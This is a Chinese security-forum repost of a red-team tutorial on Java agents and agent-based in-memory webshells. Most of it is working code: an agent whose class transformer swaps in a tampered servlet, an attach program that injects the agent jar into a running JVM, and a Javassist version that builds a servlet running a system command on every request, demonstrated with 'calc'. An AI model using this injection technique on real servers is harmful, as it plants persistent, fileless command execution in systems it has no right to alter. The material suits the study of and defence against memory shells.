安全矩阵

 找回密码
 立即注册
搜索
查看: 2424|回复: 0

java agent使用与agent内存马

[复制链接]

260

主题

275

帖子

1065

积分

金牌会员

Rank: 6Rank: 6

积分
1065
发表于 2022-4-11 11:11:52 | 显示全部楼层 |阅读模式
本帖最后由 luozhenni 于 2022-4-11 11:11 编辑

java agent使用与agent内存马

原创 naihe567 红队蓝军2022-04-11 10:36
原文链接:java agent使用与agent内存马
什么是java agent

本质是一个jar包中的类,有两种实现,第一种是通过permain()函数实现。这种javaagent会在宿主程序的main函数的启动前启动自己premain函数,这时候会得到一个Instrumentation对象,我们可以通过Instrumentation对象对还未加载的class进行拦截与修改。
还有一种实现方式是利用agentmain()函数。VirtualMachine类的attach(pid)方法可以将当前进程attach到一个运行中的java进程上,接着利用loadAgent(agentJarPath)来将含符合格式且含有agentmain函数的jar包注入到对应的进程,调用loadAgent函数后,对应的进程中会多出一个Instrumentation对象,这个对象会被当作agentmain的一个参数。对应进程接着会调用agentmain函数,进而操作Instrumentation对象,Instrumentation对象可以在class加载前拦截字节码进行修改,也可以对已经加载的class重新让它加载,并拦截且修改其中的内容,跟进程注入差不多,具体做什么操作,取决于我们的jar文件中的agentmain函数怎么写。
Java agent的使用方式有两种:
实现premain方法,在JVM启动前加载。
实现agentmain方法,在JVM启动后加载。
agent基础使用
环境搭建
agent项目源码

agent:
  1. package com.naihe;

  2. import java.io.IOException;
  3. import java.lang.instrument.*;
  4. import java.nio.file.Files;
  5. import java.nio.file.Paths;
  6. import java.security.ProtectionDomain;

  7. public class agent {
  8.     //java agent 入口
  9.     public static void premain(String agentOps, Instrumentation inst) {
  10.         System.out.println("=========premain方法执行========");
  11.         simpleDemo(agentOps, inst);
  12.     }
  13.     public static void agentmain(String agentOps, Instrumentation inst) {
  14.         System.out.println("=========agentmain方法执行========");
  15.         simpleDemo(agentOps, inst);
  16.         //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
  17.         //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
  18.         for (Class allLoadedClass : inst.getAllLoadedClasses()) {
  19.             //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
  20.             if(allLoadedClass.getName().contains("com.naihe.Demo")){
  21.                 try {
  22.                     inst.retransformClasses(allLoadedClass);
  23.                 } catch (UnmodifiableClassException e) {
  24.                     e.printStackTrace();
  25.                 }
  26.             }
  27.         }
  28.     }
  29.     public static void simpleDemo(String agentOps, Instrumentation inst) {
  30.         inst.addTransformer(new ClassFileTransformer() {
  31.             @Override
  32.             public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  33.                 //判断是指定的class
  34.                 if ("com/naihe/Demo".equals(className)) {
  35.                     try {
  36.                         //获取更改后的类class 字节数组
  37.                         String path="C:/Users/12107/Desktop/Demo2.class";
  38.                         classfileBuffer = Files.readAllBytes(Paths.get(path));
  39.                     } catch (IOException e) {
  40.                         e.printStackTrace();
  41.                     }
  42.                 }
  43.                 return classfileBuffer;
  44.             }
  45.         },true);
  46.     }

  47. }
复制代码


app项目源码
application:
  1. package com.naihe;

  2. public class application {
  3.     public static void main(String[] args) {
  4.         while(true){
  5.             new Demo().Test();
  6.             try {
  7.                 Thread.sleep(500);
  8.             }catch (Exception e){}
  9.         }
  10.     }
  11. }
复制代码


Demo:
  1. package com.naihe;

  2. public class Demo {
  3.     public static void Test() {
  4.         System.out.println("正常运行中.....");
  5.     }
  6. }
复制代码


attach:
  1. package com.naihe;

  2. import com.sun.tools.attach.*;

  3. import java.io.IOException;
  4. import java.util.List;
  5. import java.util.Scanner;
  6. import java.util.stream.Collectors;

  7. public class attach {
  8.     public static void main(String[] args) {
  9.         //查找所有jvm进程,排除attach测试工程
  10.         List<VirtualMachineDescriptor> attach = VirtualMachine.list()
  11.                 .stream()
  12.                 .filter(jvm -> {
  13.                     return !jvm.displayName().contains("attach");
  14.                 }).collect(Collectors.toList());
  15.         for (int i = 0; i < attach.size(); i++) {
  16.             System.out.println("[" + i + "] " + attach.get(i).displayName()+":"+attach.get(i).id());
  17.         }
  18.         System.out.println("请输入需要attach的pid编号");
  19.         Scanner scanner = new Scanner(System.in);
  20.         String s = scanner.nextLine();
  21.         VirtualMachineDescriptor virtualMachineDescriptor = attach.get(new Integer(s));
  22.         try {
  23.             VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
  24.             virtualMachine.loadAgent("C:\\Users\\12107\\Desktop\\agent.jar", "param");
  25.             virtualMachine.detach();
  26.         } catch (AttachNotSupportedException e) {
  27.             System.out.println("AttachNotSupportedException:" + e.getMessage());
  28.         } catch (IOException e) {
  29.             System.out.println("IOException:" + e.getMessage());
  30.         } catch (AgentLoadException e) {
  31.             System.out.println("AgentLoadException:" + e.getMessage());
  32.         } catch (AgentInitializationException e) {
  33.             System.out.println("AgentInitializationException:" + e.getMessage());
  34.         }
  35.     }
  36. }
复制代码


retransformClasses:对于已经加载的类重新进行转换处理,即会触发重新加载类定义,需要注意的是,新加载的类不能修改旧有的类声明,譬如不能增加属性、不能修改方法声明
静态修改class
一,将agent打包成jar包

进入classes目录



  1. jar cvf agent.jar com/
复制代码


这边直接打包得com文件,因为这只是一个小Demo给大家演示一下,并没有使用字节码相关的库
二,修改MANIFEST.MF
使用解压工具打开MANIFEST.MF,并修改内容
  1. <div>Premain-Class: com.naihe.agent</div><div>Agent-Class: com.naihe.agent</div><div>Can-Redefine-Classes: true</div><div>Can-Retransform-Classes: true</div>
复制代码

三,加载agent.jar
运行app中的application

使用ideal加载jar

  1. -javaagent:C:/Users/12107/Desktop/agent.jar
复制代码



动态修改class
清除之前的内容

正常运行

运行attach





可以看到Demo的test方法已经被修改了
agent内存马

搭建一个简单的Servlet项目
ServletDemo
  1. package com.naihe;

  2. import javax.servlet.ServletException;
  3. import javax.servlet.http.HttpServlet;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. import java.io.IOException;

  7. public class ServletDemo extends HttpServlet {
  8.     @Override
  9.     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  10.         resp.getWriter().write("123");
  11.     }

  12.     @Override
  13.     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  14.         doGet(req, resp);
  15.     }

  16. }
复制代码


web.xml
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  3.          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  4.          xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  5.          version="4.0"
  6.          metadata-complete="false"
  7. >
  8.     <!--注册Servlet-->
  9.     <servlet>
  10.         <servlet-name>demo</servlet-name>
  11.         <servlet-class>com.naihe.ServletDemo</servlet-class>
  12.     </servlet>
  13.     <!--Servlet的请求路径-->
  14.     <servlet-mapping>
  15.         <servlet-name>demo</servlet-name>
  16.         <url-pattern>/demo</url-pattern>
  17.     </servlet-mapping>
  18. </web-app>
复制代码


agent
  1. package com.naihe;

  2. import java.io.IOException;
  3. import java.lang.instrument.*;
  4. import java.nio.file.Files;
  5. import java.nio.file.Paths;
  6. import java.security.ProtectionDomain;

  7. public class agent {
  8.     //java agent 入口
  9.     public static void premain(String agentOps, Instrumentation inst) {
  10.         System.out.println("=========premain方法执行========");
  11.         simpleDemo(agentOps, inst);
  12.     }
  13.     public static void agentmain(String agentOps, Instrumentation inst) {
  14.         System.out.println("=========agentmain方法执行========");
  15.         simpleDemo(agentOps, inst);
  16.         //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
  17.         //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
  18.         for (Class allLoadedClass : inst.getAllLoadedClasses()) {
  19.             //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
  20.             if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
  21.                 try {
  22.                     inst.retransformClasses(allLoadedClass);
  23.                 } catch (UnmodifiableClassException e) {
  24.                     e.printStackTrace();
  25.                 }
  26.             }
  27.         }
  28.     }
  29.     public static void simpleDemo(String agentOps, Instrumentation inst) {
  30.         inst.addTransformer(new ClassFileTransformer() {
  31.             @Override
  32.             public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  33.                 //判断是指定的class
  34.                 if ("com/naihe/ServletDemo".equals(className)) {
  35.                     try {
  36.                         //获取更改后的类class 字节数组
  37.                         String path="C:/Users/12107/Desktop/ServletDemo2.class";
  38.                         classfileBuffer = Files.readAllBytes(Paths.get(path));
  39.                     } catch (IOException e) {
  40.                         e.printStackTrace();
  41.                     }
  42.                 }
  43.                 return classfileBuffer;
  44.             }
  45.         },true);
  46.     }

  47. }
复制代码


ServletDemo2为ServletDemo被恶意修改后的文件
  1. package com.naihe;

  2. import javax.servlet.ServletException;
  3. import javax.servlet.http.HttpServlet;
  4. import javax.servlet.http.HttpServletRequest;
  5. import javax.servlet.http.HttpServletResponse;
  6. import java.io.IOException;

  7. public class ServletDemo extends HttpServlet {
  8.     @Override
  9.     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  10.         Runtime.getRuntime().exec("calc");
  11.         resp.getWriter().write("success");
  12.     }

  13.     @Override
  14.     protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  15.         doGet(req, resp);
  16.     }

  17. }
复制代码


开启tomcat

运行attch:

以上的利用都是自己写好一个恶意类编译并上传使用,下面就是利用javaassist动态生成class后加载
利用Javaassist
  1. package com.naihe;

  2. import javassist.*;

  3. import java.io.File;
  4. import java.io.FileOutputStream;
  5. import java.io.IOException;
  6. import java.lang.instrument.*;
  7. import java.lang.reflect.InvocationTargetException;
  8. import java.security.ProtectionDomain;

  9. public class agent {
  10.     //java agent 入口
  11.     public static void premain(String agentOps, Instrumentation inst) {
  12.         System.out.println("=========premain方法执行========");
  13.         simpleDemo(agentOps, inst);
  14.     }
  15.     public static void agentmain(String agentOps, Instrumentation inst) {
  16.         System.out.println("=========agentmain方法执行========");
  17.         simpleDemo(agentOps, inst);
  18.         //transform是会对尚未加载的类进行增加代理层,这里是已经运行中的jvm,所以类以及被加载了
  19.         //必须主动调用retransformClasses让jvm再对运行中的类进行加上代理层
  20.         for (Class allLoadedClass : inst.getAllLoadedClasses()) {
  21.             //这里的Test路径,修改成你自己机器agent-demo-web工程的Test类的路径
  22.             if(allLoadedClass.getName().contains("com.naihe.ServletDemo")){
  23.                 try {
  24.                     inst.retransformClasses(allLoadedClass);
  25.                 } catch (UnmodifiableClassException e) {
  26.                     e.printStackTrace();
  27.                 }
  28.             }
  29.         }
  30.     }
  31.     public static void simpleDemo(String agentOps, Instrumentation inst) {
  32.         inst.addTransformer(new ClassFileTransformer() {
  33.             @Override
  34.             public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
  35.                 //判断是指定的class
  36.                 if ("com/naihe/ServletDemo".equals(className)) {
  37.                     try {
  38.                         classfileBuffer = JavaassistDemo();
  39.                     } catch (IOException | CannotCompileException | NotFoundException | IllegalAccessException | InstantiationException | NoSuchMethodException | InvocationTargetException e) {
  40.                         e.printStackTrace();
  41.                     }
  42.                 }
  43.                 return classfileBuffer;
  44.             }
  45.         },true);
  46.     }

  47.     public static byte[] JavaassistDemo() throws CannotCompileException, IOException, NotFoundException, IllegalAccessException, InstantiationException, NoSuchMethodException, InvocationTargetException {
  48.         ClassPool pool = ClassPool.getDefault();
  49.         pool.importPackage("javax.servlet.http.HttpServlet");
  50.         pool.importPackage("java.io.IOException");
  51.         // 1. 创建一个空类
  52.         CtClass cc = pool.makeClass("com.naihe.ServletDemo");
  53.         // 2.添加父类
  54.         cc.setSuperclass(pool.get("javax.servlet.http.HttpServlet"));
  55.         // 3. 添加无参的构造函数
  56.         CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
  57.         cons.setBody("{}");
  58.         cc.addConstructor(cons);

  59.         // 4.创建doGet方法
  60.         CtMethod ctMethod = new CtMethod(CtClass.voidType, "doGet", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
  61.         ctMethod.setModifiers(Modifier.PROTECTED);
  62.         ctMethod.setBody("        try {\n" +
  63.                 "            Runtime.getRuntime().exec("calc");\n" +
  64.                 "        } catch (IOException var4) {\n" +
  65.                 "            var4.printStackTrace();\n" +
  66.                 "        }");
  67.         cc.addMethod(ctMethod);

  68.         // 4.创建doPost方法
  69.         CtMethod ctMethod2 = new CtMethod(CtClass.voidType, "doPost", new CtClass[]{pool.get("javax.servlet.http.HttpServletRequest"),pool.get("javax.servlet.http.HttpServletResponse")}, cc);
  70.         ctMethod2.setModifiers(Modifier.PROTECTED);
  71.         ctMethod2.setBody("        try {\n" +
  72.                 "            Runtime.getRuntime().exec("calc");\n" +
  73.                 "        } catch (IOException var4) {\n" +
  74.                 "            var4.printStackTrace();\n" +
  75.                 "        }");
  76.         cc.addMethod(ctMethod2);
  77.         return cc.toBytecode();
  78.     }

  79. }
复制代码


由于利用了第三方jar包因此想要导出所有项目,不能再像前面那样只导出自己写的代码了,步骤如下

在这里我将使用javaassist的agent命名为agent2





打包好的jar就在如下位置


修改MANIFEST.MF 老样子在前面添加
  1. Premain-Class: com.naihe.agent
  2. Agent-Class: com.naihe.agent
  3. Can-Redefine-Classes: true
  4. Can-Retransform-Classes: true
复制代码



访问demo

运行attach




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:40 , Processed in 0.014779 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表